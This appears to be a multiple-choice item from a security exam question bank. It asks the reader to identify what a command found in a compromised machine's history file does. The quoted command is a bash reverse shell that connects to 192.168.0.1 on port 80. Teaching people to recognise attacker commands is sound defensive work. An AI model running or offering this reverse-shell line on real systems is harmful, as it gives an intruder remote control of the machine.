The Following Line Was Found in an Exploited Machine's History

question 139

Multiple Choice

The following line was found in an exploited machine's history file. An attacker ran the following command: bash -i >& /dev/tcp/192.168.0.1/80 0> &1 Which of the following describes what the command does?

• A) Performs a port scan.
• B) Grabs the web server's banner.
• C) Redirects a TTY to a remote system.
• D) Removes error logs for the supplied IP.